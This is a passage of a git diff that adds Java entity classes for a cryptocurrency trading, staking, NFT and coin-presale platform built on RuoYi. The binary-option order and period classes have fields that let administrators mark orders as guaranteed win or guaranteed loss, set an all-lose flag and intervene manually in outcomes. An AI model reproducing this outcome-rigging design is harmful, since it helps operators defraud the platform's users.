b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingOrder.java new file mode 100644 index 0000000..1eec39f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingOrder.java @@ -0,0 +1,127 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonInclude; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * ming对象 t_ming_order + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@TableName("t_ming_order") +public class TMingOrder { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 投资金额(分) + */ + private BigDecimal amount; + /** + * 投资期限(天) + */ + private Integer days; + /** + * 0 收益 1 结算 3 赎回 + */ + private Integer status; + /** + * 项目id + */ + private Long planId; + /** + * 项目名称 + */ + private String planTitle; + /** + * 订单编号 + */ + private String orderNo; + /** + * 到期时间 + */ + private Date endTime; + /** + * 结算时间 + */ + private Date settleTime; + /** + * 累计收益 + */ + private BigDecimal accumulaEarn; + /** + * 最小利率 + */ + private BigDecimal minOdds; + /** + * 最大利率 + */ + private BigDecimal maxOdds; + /** + * 后台用户id + */ + private String adminUserIds; + /** + * $column.columnComment + */ + private String collectionOrder; + /** + * $column.columnComment + */ + private Long userId; + /** + * $column.columnComment + */ + private BigDecimal orderAmount; + + @TableField(exist = false) + private Integer settlementType; + /** + * 结算日期 1-31 + */ + @TableField(exist = false) + private Integer settlementDay; + + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + + @TableField(exist=false) + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private Map params; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProduct.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProduct.java new file mode 100644 index 0000000..662f4ab --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProduct.java @@ -0,0 +1,116 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonInclude; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Map; + +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.CreatedBy; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * mingProduct对象 t_ming_product + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@TableName("t_ming_product") +public class TMingProduct { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 图标 + */ + private String icon; + /** + * 启用禁用(展示在前端)1开0关 + */ + private Long status; + /** + * 天数(如 7,10,30) + */ + private String days; + /** + * 违约利率 + */ + private BigDecimal defaultOdds; + /** + * 最小日利率百分比 + */ + private BigDecimal minOdds; + /** + * 最大日利率百分比 + */ + private BigDecimal maxOdds; + /** + * 每人限购次数,0表示不限 + */ + private Long timeLimit; + /** + * 最小金额 + */ + private BigDecimal limitMin; + /** + * 最大金额 + */ + private BigDecimal limitMax; + /** + * 排序 + */ + private Long sort; + /** + * 购买次数 + */ + private Long buyPurchase; + /** + * 币种 + */ + private String coin; + + @CreatedBy + @TableField(fill = FieldFill.INSERT) + private String createBy; + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + @LastModifiedBy + @TableField(fill = FieldFill.UPDATE) + private String updateBy; + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + /** 备注 */ + private String remark; + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProductUser.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProductUser.java new file mode 100644 index 0000000..2c24a3e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProductUser.java @@ -0,0 +1,59 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户购买质押限制对象 t_ming_product_user + * + * @author ruoyi + * @date 2023-10-11 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_ming_product_user") +public class TMingProductUser extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 产品id + */ + private Long productId; + /** + * 玩家用户id + */ + private Long appUserId; + /** + * 限购次数 + */ + private Long pledgeNum; + /** + * + */ + private String searchValue; + + @TableField(exist = false) + private TAppUser tAppUser; + + @TableField(exist = false) + private String coin; + + @TableField(exist = false) + private String icon; + + @TableField(exist = false) + private String title; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftOrder.java new file mode 100644 index 0000000..8347cca --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftOrder.java @@ -0,0 +1,56 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * nft订单对象 t_nft_order + * + * @author ruoyi + * @date 2023-09-01 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_nft_order") +public class TNftOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 集合id + */ + private Long seriesId; + /** + * 藏品id + */ + private Long productId; + /** + * 用户id + */ + private Long userId; + /** + * 金额 + */ + private BigDecimal amount; + /** + * 0报价 1成交 2失效 + */ + private String status; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftProduct.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftProduct.java new file mode 100644 index 0000000..b346f95 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftProduct.java @@ -0,0 +1,95 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * nft详情对象 t_nft_product + * + * @author ruoyi + * @date 2023-09-01 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_nft_product") +public class TNftProduct extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 合集id + */ + private Long seriesId; + /** + * 图片路径 + */ + private String imgUrl; + /** + * 所属id + */ + private Long userId; + /** + * 价格 + */ + private BigDecimal price; + /** + * 所属链 -btc -eth -doge + */ + private String chainType; + /** + * 作者 + */ + private String author; + /** + * 持有者地址 + */ + private String holdAddress; + /** + * 手续费 + */ + private BigDecimal handlingFee; + /** + * 版权费 + */ + private BigDecimal copyrightFee; + /** + * 描述 + */ + private String des; + /** + * 商品状态 1=未上架 2=已上架 + */ + private Integer status; + /** + * 销售状态 0=待审核 1=待售 2=持有 + */ + private String saleStatus; + /** + * 上架结束日期 + */ + private Date endDate; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftSeries.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftSeries.java new file mode 100644 index 0000000..9903600 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftSeries.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * nft合计对象 t_nft_series + * + * @author ruoyi + * @date 2023-09-01 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_nft_series") +public class TNftSeries extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 名称 + */ + private String name; + /** + * 所属链 -btc -eth -doge 等等 + */ + private String chainType; + /** + * 所属链图标 + */ + private String coinUrl; + /** + * 交易总价格 + */ + private BigDecimal tradeAmount; + /** + * 交易次数 + */ + private Long tradeNum; + /** + * 地板价格 + */ + private BigDecimal aveAmount; + /** + * 封面 + */ + private String logoUrl; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNotice.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNotice.java new file mode 100644 index 0000000..a4788a1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNotice.java @@ -0,0 +1,105 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 通知公告对象 t_notice + * + * @author ruoyi + * @date 2023-07-20 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_notice") +public class TNotice extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 公告ID + */ + @TableId(value = "notice_id",type = IdType.AUTO) + private Long noticeId; + /** + * 标题 + */ + private String noticeTitle; + /** + * 公告类型 1=公告信息 2=活动公告 3=首页滚动公告 + */ + private String noticeType; + /** + * 模块类型 1=公告信息 2=活动公告 3=首页滚动公告 + 1={1=链接弹窗 2=图文弹窗}, + 2={1=首页轮播活动 2=Defi挖矿活动图}, + 3={1=首页滚动公告} + 注:没有二级的默认给1 + 二级联动 + */ + private String modelType; + /** + * 内容 + */ + private String noticeContent; + /** + * 评论数 + */ + private Long commentsNum; + /** + * 图片 + */ + private String cover; + /** + * 浏览数 + */ + private Long viewNum; + /** + * 公告截止时间 + */ + private Date expireTime; + /** + * 图片链接地址 + */ + private String imgUrl; + /** + * 链接地址 + */ + private String chainedUrl; + /** + * 详情页 + */ + private String detailUrl; + /** + * zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13 + */ + private String languageId; + /** + * 公告状态(0正常 1关闭) + */ + private String status; + /** + * 排序 + */ + private Long sort; + /** + * 展示端1=pc 2=h5 + */ + private String source; + + + @TableField(exist = false) + private String key; + + @TableField(exist = false) + private String modelKey; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOptionRules.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOptionRules.java new file mode 100644 index 0000000..7ebd9ba --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOptionRules.java @@ -0,0 +1,54 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 前台文本配置对象 t_option_rules + * + * @author ruoyi + * @date 2023-07-19 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_option_rules") +public class TOptionRules extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 语言 en zh + */ + private String language; + /** + * 内容 + */ + private String content; + /** + * 是否展示 0展示 2不展示 + */ + private Long isShow; + /** + * 0=服务条款 1=秒合约说明 2=币币交易说明 3=代理活动 4=U本位合约说明 5=注册隐私政策 6=注册使用条款 7=贷款规则 + */ + private Integer type; + + @TableField(exist = false) + private String key; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoin.java new file mode 100644 index 0000000..3ea3638 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoin.java @@ -0,0 +1,103 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 发币对象 t_own_coin + * + * @author ruoyi + * @date 2023-09-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin") +public class TOwnCoin extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String coin; + /** + * 图标 + */ + private String logo; + /** + * 参考币种 + */ + private String referCoin; + /** + * 参考币种交易所 + */ + private String referMarket; + /** + * 展示名称 + */ + private String showSymbol; + /** + * 初始价格(单位USDT) + */ + private BigDecimal price; + /** + * 价格百分比 + */ + private BigDecimal proportion; + /** + * 总发行量 + */ + private BigDecimal totalAmount; + /** + * 私募发行量 + */ + private BigDecimal raisingAmount; + /** + * 已筹集额度 + */ + private BigDecimal raisedAmount; + /** + * 预购上限 + */ + private Integer purchaseLimit; + /** + * 参与人数 + */ + private Long participantsNum; + /** + * 筹集期限 + */ + private Long raisingTime; + /** + * 开始时间 + */ + private Date beginTime; + /** + * 结束时间 + */ + private Date endTime; + /** + * 1.筹备中 2.进行中 3 筹集成功 4.筹集失败 + */ + private Integer status; + /** + * 介绍 + */ + private String introduce; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinOrder.java new file mode 100644 index 0000000..69c738c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinOrder.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 申购订单对象 t_own_coin_order + * + * @author ruoyi + * @date 2023-09-20 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin_order") +public class TOwnCoinOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 用户 + */ + private Long userId; + /** + * 订单ID + */ + private String orderId; + /** + * 申购币种ID + */ + private Long ownId; + /** + * 申购币种 + */ + private String ownCoin; + /** + * 申购额(usdt) + */ + private BigDecimal amount; + /** + * 申购数量 + */ + private Long number; + /** + * 申购价 + */ + private BigDecimal price; + /** + * 状态 + */ + private String status; + /** + * 上级用户IDS + */ + private String adminUserIds; + /** + * 上级后台用户IDS + */ + private String adminParentIds; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinSubscribeOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinSubscribeOrder.java new file mode 100644 index 0000000..c123147 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinSubscribeOrder.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * 订阅订单对象 t_own_coin_subscribe_order + * + * @Author ruoyi + * @Date 2023/10/9 + * @Version 1.0 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin_subscribe_order") +public class TOwnCoinSubscribeOrder extends BaseEntity { + + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id", type = IdType.AUTO) + private Long id; + /** + * 用户 + */ + private Long userId; + /** + * 订阅ID + */ + private String subscribeId; + /** + * 订单ID + */ + private String orderId; + /** + * 申购币种ID + */ + private Long ownId; + /** + * 申购币种 + */ + private String ownCoin; + /** + * 申购额(usdt) + */ + private BigDecimal amountLimit; + /** + * 申购数量 + */ + private Long numLimit; + /** + * 申购单价 + */ + private BigDecimal price; + /** + * 状态,1订阅中、2订阅成功、3成功消息推送完成、4被拒绝 + */ + private String status; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondCoinConfig.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondCoinConfig.java new file mode 100644 index 0000000..7831fc3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondCoinConfig.java @@ -0,0 +1,85 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; + + +import com.ruoyi.common.core.domain.BaseEntity; + +import java.math.BigDecimal; + +/** + * 秒合约币种配置对象 t_second_coin_config + * + * @author ruoyi + * @date 2023-07-11 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_second_coin_config") +public class TSecondCoinConfig extends BaseEntity { + + private static final long serialVersionUID=1L; + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 合约交易对 + */ + private String symbol; + /** + * 合约交易所 + */ + private String market; + /** + * 是否启用 2关闭 1启用 + */ + private Long status; + /** + * 是否展示 2不展示 1展示 + */ + private Long showFlag; + + + /** + * 币种 + */ + private String coin; + /** + * 结算币种 + */ + private String baseCoin; + + /** + * 排序 + */ + private Long sort; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 图标 + */ + private String logo; + /** + * 展示交易对 + */ + private String showSymbol; + /** + * 1 外汇 2 虚拟币 3 黄精白银 + */ + private Integer type; + + + /** + * 周期复制币种ID + */ + @TableField(exist = false) + private Long periodId; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondContractOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondContractOrder.java new file mode 100644 index 0000000..68409dc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondContractOrder.java @@ -0,0 +1,128 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 秒合约订单对象 t_second_contract_order + * + * @author ruoyi + * @date 2023-07-13 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_second_contract_order") +public class TSecondContractOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 订单号 + */ + private String orderNo; + /** + * 交易对 + */ + private String symbol; + /** + * 类型 + */ + private Integer type; + /** + * 用户id + */ + private Long userId; + /** + * 用户地址 + */ + private String userAddress; + /** + * 预测方向:1 涨 0 跌 + */ + private String betContent; + /** + * 开奖结果 + */ + private String openResult; + /** + * 订单状态 0参与中 1已开奖 2已撤销 + */ + private Integer status; + /** + * 投注金额 + */ + private BigDecimal betAmount; + /** + * 获奖金额 + */ + private BigDecimal rewardAmount; + /** + * 赔偿金额 + */ + private BigDecimal compensationAmount; + /** + * 开盘价格 + */ + private BigDecimal openPrice; + /** + * 关盘价格 + */ + private BigDecimal closePrice; + /** + * 开盘时间 + */ + private Long openTime; + /** + * 关盘时间 + */ + private Long closeTime; + /** + * 交易币符号 + */ + private String coinSymbol; + /** + * 结算币符号 + */ + private String baseSymbol; + /** + * 订单标记 0正常 1包赢 2包输 + */ + private Integer sign; + /** + * 是否人工干预 0是 1否 + */ + private Integer manualIntervention; + /** + * 赔率 + */ + private BigDecimal rate; + /** + * 赔率标识 + */ + private Boolean rateFlag; + /** + * 代理IDS + */ + + private String adminParentIds; + + + //业务字段 + @TableField(exist = false) + private Integer time; + + @TableField(exist = false) + private Long periodId; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondPeriodConfig.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondPeriodConfig.java new file mode 100644 index 0000000..02614fd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondPeriodConfig.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 秒合约币种周期配置对象 t_second_period_config + * + * @author ruoyi + * @date 2023-07-11 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_second_period_config") +public class TSecondPeriodConfig extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 秒合约币种配置id + */ + private Long secondId; + /** + * 时间周期 单位秒 + */ + private Long period; + + /** + * 赔率 + */ + private BigDecimal odds; + /** + * 最大金额 + */ + private BigDecimal maxAmount; + /** + * 最小金额 + */ + private BigDecimal minAmount; + /** + * 1开启 2关闭 + */ + private Long status; + /** + * 全输标识 + */ + private Boolean flag; + /** + * $column.columnComment + */ + private String searchValue; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSpontaneousCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSpontaneousCoin.java new file mode 100644 index 0000000..3cec415 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSpontaneousCoin.java @@ -0,0 +1,60 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 自发币种配置对象 t_spontaneous_coin + * + * @author ruoyi + * @date 2023-10-08 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_spontaneous_coin") +public class TSpontaneousCoin extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String coin; + /** + * 图标 + */ + private String logo; + /** + * 参考币种 + */ + private String referCoin; + /** + * 参考币种交易所 + */ + private String referMarket; + /** + * 展示名称 + */ + private String showSymbol; + /** + * 初始价格(单位USDT) + */ + private BigDecimal price; + /** + * 价格百分比 + */ + private BigDecimal proportion; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbolManage.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbolManage.java new file mode 100644 index 0000000..9c44a52 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbolManage.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 币种管理对象 t_symbol_manage + * + * @author ruoyi + * @date 2023-07-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_symbol_manage") +public class TSymbolManage extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String symbol; + /** + * 最小兑换数量 + */ + private BigDecimal minChargeNum; + /** + * 最大兑换数量 + */ + private BigDecimal maxChargeNum; + /** + * 手续费(%) + */ + private BigDecimal commission; + /** + * 排序 + */ + private Integer sort; + /** + * 1 启用 2 禁用 + */ + private String enable; + /** + * 0正常 2删除 + */ + @TableLogic + private String delFlag; + + /** + * 图标 + */ + private String logo; + + /** + * 交易所 + */ + private String market; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbols.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbols.java new file mode 100644 index 0000000..b19cbe3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbols.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 支持币种对象 t_symbols + * + * @author ruoyi + * @date 2023-06-26 + */ +public class TSymbols extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 币种名称(ID) */ + private String slug; + + /** 币种符号 */ + @Excel(name = "币种符号") + private String symbol; + + /** 币种全称 */ + @Excel(name = "币种全称") + private String fullname; + + /** 图标链接 */ + @Excel(name = "图标链接") + private String logoUrl; + + /** 是否法定货币 */ + @Excel(name = "是否法定货币") + private Boolean fiat; + + public void setSlug(String slug) + { + this.slug = slug; + } + + public String getSlug() + { + return slug; + } + public void setSymbol(String symbol) + { + this.symbol = symbol; + } + + public String getSymbol() + { + return symbol; + } + public void setFullname(String fullname) + { + this.fullname = fullname; + } + + public String getFullname() + { + return fullname; + } + public void setLogoUrl(String logoUrl) + { + this.logoUrl = logoUrl; + } + + public String getLogoUrl() + { + return logoUrl; + } + public void setFiat(Boolean fiat) + { + this.fiat = fiat; + } + + public Boolean getFiat() + { + return fiat; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("slug", getSlug()) + .append("symbol", getSymbol()) + .append("fullname", getFullname()) + .append("logoUrl", getLogoUrl()) + .append("fiat", getFiat()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserBank.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserBank.java new file mode 100644 index 0000000..1db5963 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserBank.java @@ -0,0 +1,74 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 银行卡对象 t_user_bank + * + * @author ruoyi + * @date 2023-08-21 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_user_bank") +public class TUserBank extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 姓名 + */ + private String userName; + /** + * 银行卡号 + */ + private String cardNumber; + /** + * 开户银行名称 + */ + private String bankName; + /** + * 开户省市 + */ + private String bankAddress; + /** + * 开户网点 + */ + private String bankBranch; + /** + * 用户名称 + */ + private Long userId; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 银行编码 + */ + private String 